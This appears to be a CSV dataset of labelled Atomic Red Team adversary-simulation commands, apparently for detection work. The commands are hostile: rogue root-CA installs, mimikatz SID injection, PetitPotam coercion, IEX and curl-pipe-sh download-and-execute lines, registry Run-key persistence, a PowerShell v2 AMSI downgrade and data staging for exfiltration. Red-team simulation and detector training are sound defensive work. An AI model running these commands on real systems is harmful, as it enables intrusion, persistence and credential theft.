3e5529778482043146a26a41,"sudo security add-trusted-cert -d -r trustRoot -k ""/Library/Keychains/System.keychain"" ""#{cert_filename}""","sudo security add-trusted-cert -d -r trustRoot -k ""/Library/Keychains/System.keychain"" ""#{cert_filename}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.004/T1553.004.yaml,Install root CA on macOS,T1553.004,"[""T1553.004""]",macos,0.9,False,"Creates a root CA with openssl
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2041c5b2530756ec3ce098f1,"$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My Move-Item -Path $cert.PSPath -Destination ""Cert:\LocalMachine\Root""","$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My Move-Item -Path $cert.PSPath -Destination ""Cert:\LocalMachine\Root""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.004/T1553.004.yaml,Install root CA on Windows,T1553.004,"[""T1553.004""]",windows,0.9,False,"Creates a root CA with Powershell
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4944d14346414617b55e171f,try { $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore } catch { },try { $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore } catch { },bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.004/T1553.004.yaml,Install root CA on Windows,T1553.004,"[""T1553.004""]",windows,0.55,True,"Creates a root CA with Powershell
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c9c7c5a7e0af8b9ad96df24c,certutil -addstore my #{pfx_path},certutil -addstore my #{pfx_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.004/T1553.004.yaml,Install root CA on Windows with certutil,T1553.004,"[""T1553.004""]",windows,0.9,False,"Creates a root CA with certutil
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
929eee2113cad4934a0a563d,try { $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore } catch { },try { $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore } catch { },bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.004/T1553.004.yaml,Install root CA on Windows with certutil,T1553.004,"[""T1553.004""]",windows,0.55,True,"Creates a root CA with certutil
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
72a3b20dcf925d95c3ee2e2d,IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing),IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.004/T1553.004.yaml,Add Root Certificate to CurrentUser Certificate Store,T1553.004,"[""T1553.004""]",windows,0.9,False,"The following Atomic test simulates adding a generic non-malicious certificate to the CurrentUser certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog.
Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates
Reference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
384520526b044a8f7b9f6d71,Get-ChildItem -Path Cert:\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item,Get-ChildItem -Path Cert:\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.004/T1553.004.yaml,Add Root Certificate to CurrentUser Certificate Store,T1553.004,"[""T1553.004""]",windows,0.55,True,"The following Atomic test simulates adding a generic non-malicious certificate to the CurrentUser certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog.
Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates
Reference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8444be2e6f6d765be722f759,"#{mimikatz_path} ""privilege::debug"" ""sid::patch"" ""sid::add /sid:#{sid_to_inject} /sam:#{sam_account_name}"" ""exit""","#{mimikatz_path} ""privilege::debug"" ""sid::patch"" ""sid::add /sid:#{sid_to_inject} /sam:#{sam_account_name}"" ""exit""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1134.005/T1134.005.yaml,Injection SID-History with mimikatz,T1134.005,"[""T1134.005""]",windows,0.9,False,"Adversaries may use SID-History Injection to escalate privileges and bypass access controls. Must be run on domain controller
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ddb487e1411487c7ff11f33d,"#{mimikatz_path} ""sid::clear /sam:#{sam_account_name}"" ""exit""","#{mimikatz_path} ""sid::clear /sam:#{sam_account_name}"" ""exit""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1134.005/T1134.005.yaml,Injection SID-History with mimikatz,T1134.005,"[""T1134.005""]",windows,0.55,True,"Adversaries may use SID-History Injection to escalate privileges and bypass access controls. Must be run on domain controller
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2395e76287220108a079765d,"& ""#{petitpotam_path}"" #{captureServerIP} #{targetServerIP} #{efsApi} Write-Host ""End of PetitPotam attack""","& ""#{petitpotam_path}"" #{captureServerIP} #{targetServerIP} #{efsApi} Write-Host ""End of PetitPotam attack""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1187/T1187.yaml,PetitPotam,T1187,"[""T1187""]",windows,0.9,False,"This module runs the Windows executable of PetitPotam in order to coerce authentication for a remote system.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a4b3c122563df66ba778d6d0,"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Internalmonologue.ps1') Invoke-Internalmonologue -command ""-Downgrade true -impersonate true -restore true""","iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Internalmonologue.ps1') Invoke-Internalmonologue -command ""-Downgrade true -impersonate true -restore true""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1187/T1187.yaml,WinPwn - PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS,T1187,"[""T1187""]",windows,0.9,False,PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
59fa7f5fab8c296deddbc9da,rpcping -s #{server_ip} -e #{custom_port} /a connect /u NTLM 1>$Null,rpcping -s #{server_ip} -e #{custom_port} /a connect /u NTLM 1>$Null,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1187/T1187.yaml,Trigger an authenticated RPC call to a target server with no Sign flag set,T1187,"[""T1187""]",windows,0.9,False,"RpcPing command can be used to trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign flag not Set)
Ref: https://twitter.com/splinter_code/status/1421144623678988298",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5f07b35c935122b1ee670cab,"Invoke-WebRequest ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.bat"" -OutFile #{output_file}","Invoke-WebRequest ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.bat"" -OutFile #{output_file}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1074.001/T1074.001.yaml,Stage data from Discovery.bat,T1074.001,"[""T1074.001""]",windows,0.9,False,"Utilize powershell to download discovery.bat and save to a local file. This emulates an attacker downloading data collection tools onto the host. Upon execution,
verify that the file is saved in the temp directory.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e7dce5e4ab4e8ef9ac1b86a1,Remove-Item -Force #{output_file} -ErrorAction Ignore,Remove-Item -Force #{output_file} -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1074.001/T1074.001.yaml,Stage data from Discovery.bat,T1074.001,"[""T1074.001""]",windows,0.55,True,"Utilize powershell to download discovery.bat and save to a local file. This emulates an attacker downloading data collection tools onto the host. Upon execution,
verify that the file is saved in the temp directory.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1dad843a4b9750e98e3c0afb,curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | sh -s > #{output_file},curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | sh -s > #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1074.001/T1074.001.yaml,Stage data from Discovery.sh,T1074.001,"[""T1074.001""]","linux,macos",0.9,False,"Utilize curl to download discovery.sh and execute a basic information gathering shell script
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b99e4db34cd364adc283a7a1,rm #{output_file},rm #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1074.001/T1074.001.yaml,Stage data from Discovery.sh,T1074.001,"[""T1074.001""]","linux,macos",0.55,True,"Utilize curl to download discovery.sh and execute a basic information gathering shell script
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5837d2578a75e06b80e9701b,"Compress-Archive -Path ""#{input_file}"" -DestinationPath #{output_file} -Force","Compress-Archive -Path ""#{input_file}"" -DestinationPath #{output_file} -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1074.001/T1074.001.yaml,Zip a Folder with PowerShell for Staging in Temp,T1074.001,"[""T1074.001""]",windows,0.9,False,"Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip
was placed in the temp directory.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
326decfbd4e09ddc87656655,Remove-Item -Path #{output_file} -ErrorAction Ignore,Remove-Item -Path #{output_file} -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1074.001/T1074.001.yaml,Zip a Folder with PowerShell for Staging in Temp,T1074.001,"[""T1074.001""]",windows,0.55,True,"Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip
was placed in the temp directory.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7dfe9a4a9717498d535438b7,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security"" /v Level /t REG_DWORD /d 1 /f mkdir %APPDATA%\Microsoft\Outlook\ >nul 2>&1 echo ""Atomic Red Team TEST"" > %APPDATA%\Microsoft\Outlook\VbaProject.OTM","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security"" /v Level /t REG_DWORD /d 1 /f mkdir %APPDATA%\Microsoft\Outlook\ >nul 2>&1 echo ""Atomic Red Team TEST"" > %APPDATA%\Microsoft\Outlook\VbaProject.OTM",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1137/T1137.yaml,Office Application Startup - Outlook as a C2,T1137,"[""T1137""]",windows,0.9,False,"As outlined in MDSEC's Blog post https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/ 
it is possible to use Outlook Macro as a way to achieve persistance and execute arbitrary commands. This transform Outlook into a C2.
Too achieve this two things must happened on the syste
- The macro security registry value must be set to '1'
- A file called VbaProject.OTM must be created in the Outlook Folder.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5e8d18d781d0a3aa587519d2,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security"" /v Level /f >nul 2>&1 del %APPDATA%\Microsoft\Outlook\VbaProject.OTM >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security"" /v Level /f >nul 2>&1 del %APPDATA%\Microsoft\Outlook\VbaProject.OTM >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1137/T1137.yaml,Office Application Startup - Outlook as a C2,T1137,"[""T1137""]",windows,0.55,True,"As outlined in MDSEC's Blog post https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/ 
it is possible to use Outlook Macro as a way to achieve persistance and execute arbitrary commands. This transform Outlook into a C2.
Too achieve this two things must happened on the syste
- The macro security registry value must be set to '1'
- A file called VbaProject.OTM must be created in the Outlook Folder.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e7f8274f439c173a45cb71a2,"copy ""#{filename}"" %TEMP%\hello.js #{jscpath}\#{jscname} %TEMP%\hello.js","copy ""#{filename}"" %TEMP%\hello.js #{jscpath}\#{jscname} %TEMP%\hello.js",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1127/T1127.yaml,Lolbin Jsc.exe compile javascript to exe,T1127,"[""T1127""]",windows,0.9,False,"Use jsc.exe to compile javascript code stored in scriptfile.js and output scriptfile.exe.
https://lolbas-project.github.io/lolbas/Binaries/Jsc/
https://www.phpied.com/make-your-javascript-a-windows-exe/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2297534e63054f2f450012d9,del %TEMP%\hello.js del %TEMP%\hello.exe,del %TEMP%\hello.js del %TEMP%\hello.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1127/T1127.yaml,Lolbin Jsc.exe compile javascript to exe,T1127,"[""T1127""]",windows,0.55,True,"Use jsc.exe to compile javascript code stored in scriptfile.js and output scriptfile.exe.
https://lolbas-project.github.io/lolbas/Binaries/Jsc/
https://www.phpied.com/make-your-javascript-a-windows-exe/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
23b57a45dd88e6d89ac86d7d,"copy ""#{filename}"" %TEMP%\LibHello.js #{jscpath}\#{jscname} /t:library %TEMP%\LibHello.js","copy ""#{filename}"" %TEMP%\LibHello.js #{jscpath}\#{jscname} /t:library %TEMP%\LibHello.js",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1127/T1127.yaml,Lolbin Jsc.exe compile javascript to dll,T1127,"[""T1127""]",windows,0.9,False,"Use jsc.exe to compile javascript code stored in Library.js and output Library.dll.
https://lolbas-project.github.io/lolbas/Binaries/Jsc/
https://www.phpied.com/make-your-javascript-a-windows-exe/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cf2ae50772392033d84f6118,del %TEMP%\LibHello.js del %TEMP%\LibHello.dll,del %TEMP%\LibHello.js del %TEMP%\LibHello.dll,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1127/T1127.yaml,Lolbin Jsc.exe compile javascript to dll,T1127,"[""T1127""]",windows,0.55,True,"Use jsc.exe to compile javascript code stored in Library.js and output Library.dll.
https://lolbas-project.github.io/lolbas/Binaries/Jsc/
https://www.phpied.com/make-your-javascript-a-windows-exe/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0dbe44822952c1ad61bd1f82,"start ""#{docx_file}""","start ""#{docx_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1221/T1221.yaml,WINWORD Remote Template Injection,T1221,"[""T1221""]",windows,0.9,False,"Open a .docx file that loads a remote .dotm macro enabled template from https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1221/src/opencalc.dotm 
Executes the code specified within the .dotm template.
Requires download of WINWORD found in Microsoft Ofiice at Microsoft: https://www.microsoft.com/en-us/download/office.aspx.  
Default docs file opens Calculator.exe when test sucessfully executed, while AV turned off.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
104ede3976b105369d78af81,"Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass} (Get-EsxCli -VMHost #{vm_host} -V2).software.acceptance.set.Invoke(@{level = ""CommunitySupported""}) Disconnect-VIServer -Confirm:$false","Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass} (Get-EsxCli -VMHost #{vm_host} -V2).software.acceptance.set.Invoke(@{level = ""CommunitySupported""}) Disconnect-VIServer -Confirm:$false",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.010/T1562.010.yaml,ESXi - Change VIB acceptance level to CommunitySupported via PowerCLI,T1562.010,"[""T1562.010""]",linux,0.9,False,"An adversary can change the VIB acceptance level to CommunitySupported to downgrade the acceptance criteria.This can be accomplished via PowerCLI. Afterwards an adversary may proceed to installing malicious VIBs on the host.
[Reference](https://www.mandiant.com/resources/blog/esxi-hypervisors-detection-hardening)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a52e7e57313b566e38833e09,"echo """" | ""#{plink_file}"" ""#{vm_host}"" -ssh -l ""#{vm_user}"" -pw ""#{vm_pass}"" -m ""#{cli_script}""","echo """" | ""#{plink_file}"" ""#{vm_host}"" -ssh -l ""#{vm_user}"" -pw ""#{vm_pass}"" -m ""#{cli_script}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.010/T1562.010.yaml,ESXi - Change VIB acceptance level to CommunitySupported via ESXCLI,T1562.010,"[""T1562.010""]",windows,0.9,False,"An adversary will change the VIB acceptance level to CommunitySupported to downgrade the acceptance criteria via ESXCLI. Afterwards an adversary may proceed to installing malicious VIBs on the host.
[Reference](https://www.mandiant.com/resources/blog/esxi-hypervisors-detection-hardening)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d5c6078d85209f2f5cbcd734,PowerShell -version 2 -command '#{v2_command}',PowerShell -version 2 -command '#{v2_command}',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.010/T1562.010.yaml,PowerShell Version 2 Downgrade,T1562.010,"[""T1562.010""]",windows,0.9,False,"Executes outdated PowerShell Version 2 which does not support security features like AMSI. By default the atomic will attempt to execute the cmdlet Invoke-Mimikatz whether it exists or not, as this cmdlet will be blocked by AMSI when active.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a8533033e59a4713af6d306f,docker build -t t1613 $PathtoAtomicsFolder/T1613/src/ docker run --name t1613_container --rm -d -t t1613 docker ps docker stats --no-stream docker inspect $(docker ps -l -q --filter ancestor=t1613),docker build -t t1613 $PathtoAtomicsFolder/T1613/src/ docker run --name t1613_container --rm -d -t t1613 docker ps docker stats --no-stream docker inspect $(docker ps -l -q --filter ancestor=t1613),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1613/T1613.yaml,Docker Container and Resource Discovery,T1613,"[""T1613""]",containers,0.9,False,Adversaries may attempt to discover containers and other resources that are available within a containers environment.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
abe198398ca2fb0f05edc5c3,docker stop t1613_container docker rmi -f t1613,docker stop t1613_container docker rmi -f t1613,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1613/T1613.yaml,Docker Container and Resource Discovery,T1613,"[""T1613""]",containers,0.55,True,Adversaries may attempt to discover containers and other resources that are available within a containers environment.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1e1c2090b94a84e42368a40d,podman build -t t1613 $PathtoAtomicsFolder/T1613/src/ podman run --name t1613_container --rm -d -t t1613 podman ps podman stats --no-stream podman inspect $(podman ps -l -q --filter ancestor=t1613),podman build -t t1613 $PathtoAtomicsFolder/T1613/src/ podman run --name t1613_container --rm -d -t t1613 podman ps podman stats --no-stream podman inspect $(podman ps -l -q --filter ancestor=t1613),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1613/T1613.yaml,Podman Container and Resource Discovery,T1613,"[""T1613""]",containers,0.9,False,Adversaries may attempt to discover containers and other resources that are available within a containers environment.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
58be6172dcf5c88fdd592845,podman stop t1613_container podman rmi -f t1613,podman stop t1613_container podman rmi -f t1613,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1613/T1613.yaml,Podman Container and Resource Discovery,T1613,"[""T1613""]",containers,0.55,True,Adversaries may attempt to discover containers and other resources that are available within a containers environment.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ad648f52bd0bca0e26b2b5a4,sudo cp #{path_malicious_plist} /Library/LaunchDaemons/#{plist_filename} sudo launchctl load -w /Library/LaunchDaemons/#{plist_filename},sudo cp #{path_malicious_plist} /Library/LaunchDaemons/#{plist_filename} sudo launchctl load -w /Library/LaunchDaemons/#{plist_filename},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.004/T1543.004.yaml,Launch Daemon,T1543.004,"[""T1543.004""]",macos,0.9,False,"Utilize LaunchDaemon to launch `Hello World`
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8674e2d7b601c78919bb54d0,sudo launchctl unload /Library/LaunchDaemons/#{plist_filename} sudo rm /Library/LaunchDaemons/#{plist_filename} sudo rm /tmp/T1543_004_atomicredteam.txt,sudo launchctl unload /Library/LaunchDaemons/#{plist_filename} sudo rm /Library/LaunchDaemons/#{plist_filename} sudo rm /tmp/T1543_004_atomicredteam.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.004/T1543.004.yaml,Launch Daemon,T1543.004,"[""T1543.004""]",macos,0.55,True,"Utilize LaunchDaemon to launch `Hello World`
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5ab6489c7da4f9ddf8e3d0a0,"Move-Item -Path ""C:\Windows\System32\termsrv_backup.dll"" -Destination ""C:\Windows\System32\termsrv.dll"" -Force -ErrorAction Ignore","Move-Item -Path ""C:\Windows\System32\termsrv_backup.dll"" -Destination ""C:\Windows\System32\termsrv.dll"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1505.005/T1505.005.yaml,Simulate Patching termsrv.dll,T1505.005,"[""T1505.005""]",windows,0.55,True,"Simulates patching of termsrv.dll by making a benign change to the file and replacing it with the original afterwards.
Before we can make the modifications we need to take ownership of the file and grant ourselves the necessary permissions.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fda8aa59d572a29ab87b4301,"Set-ItemProperty -Path ""HKLM:\System\CurrentControlSet\services\TermService\Parameters"" -Name ""ServiceDll"" -Value ""C:\Windows\System32\termsrv.dll""","Set-ItemProperty -Path ""HKLM:\System\CurrentControlSet\services\TermService\Parameters"" -Name ""ServiceDll"" -Value ""C:\Windows\System32\termsrv.dll""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1505.005/T1505.005.yaml,Modify Terminal Services DLL Path,T1505.005,"[""T1505.005""]",windows,0.55,True,This atomic test simulates the modification of the ServiceDll value in HKLM\System\CurrentControlSet\services\TermService\Parameters. This technique may be leveraged by adversaries to establish persistence by loading a patched version of the DLL containing malicious code.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0f77f68330964dfe1bdff907,"REG ADD ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" /V ""Atomic Red Team"" /t REG_SZ /F /D ""#{command_to_execute}""","REG ADD ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" /V ""Atomic Red Team"" /t REG_SZ /F /D ""#{command_to_execute}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Reg Key Run,T1547.001,"[""T1547.001""]",windows,0.9,False,"Run Key Persistence

Upon successful execution, cmd.exe will modify the registry by adding \""Atomic Red Team\"" to the Run key. Output will be via stdout. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d9b446261478205c6d2bc625,"REG DELETE ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" /V ""Atomic Red Team"" /f >nul 2>&1","REG DELETE ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" /V ""Atomic Red Team"" /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Reg Key Run,T1547.001,"[""T1547.001""]",windows,0.55,True,"Run Key Persistence

Upon successful execution, cmd.exe will modify the registry by adding \""Atomic Red Team\"" to the Run key. Output will be via stdout. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c6ddb81009bdc7b2bbfb4f08,"REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d ""#{thing_to_execute}""","REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d ""#{thing_to_execute}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Reg Key RunOnce,T1547.001,"[""T1547.001""]",windows,0.9,False,"RunOnce Key Persistence.

Upon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
07aed777baf12f15157b1c28,REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f >nul 2>&1,REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Reg Key RunOnce,T1547.001,"[""T1547.001""]",windows,0.55,True,"RunOnce Key Persistence.

Upon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
56a46baf5881f0f08260b2a4,"$RunOnceKey = ""#{reg_key_path}"" set-itemproperty $RunOnceKey ""NextRun"" '#{thing_to_execute} ""IEX (New-Object Net.WebClient).DownloadString(`""https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`"")""'","$RunOnceKey = ""#{reg_key_path}"" set-itemproperty $RunOnceKey ""NextRun"" '#{thing_to_execute} ""IEX (New-Object Net.WebClient).DownloadString(`""https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`"")""'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,PowerShell Registry RunOnce,T1547.001,"[""T1547.001""]",windows,0.9,False,"RunOnce Key Persistence via PowerShell
Upon successful execution, a new entry will be added to the runonce item in the registry.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
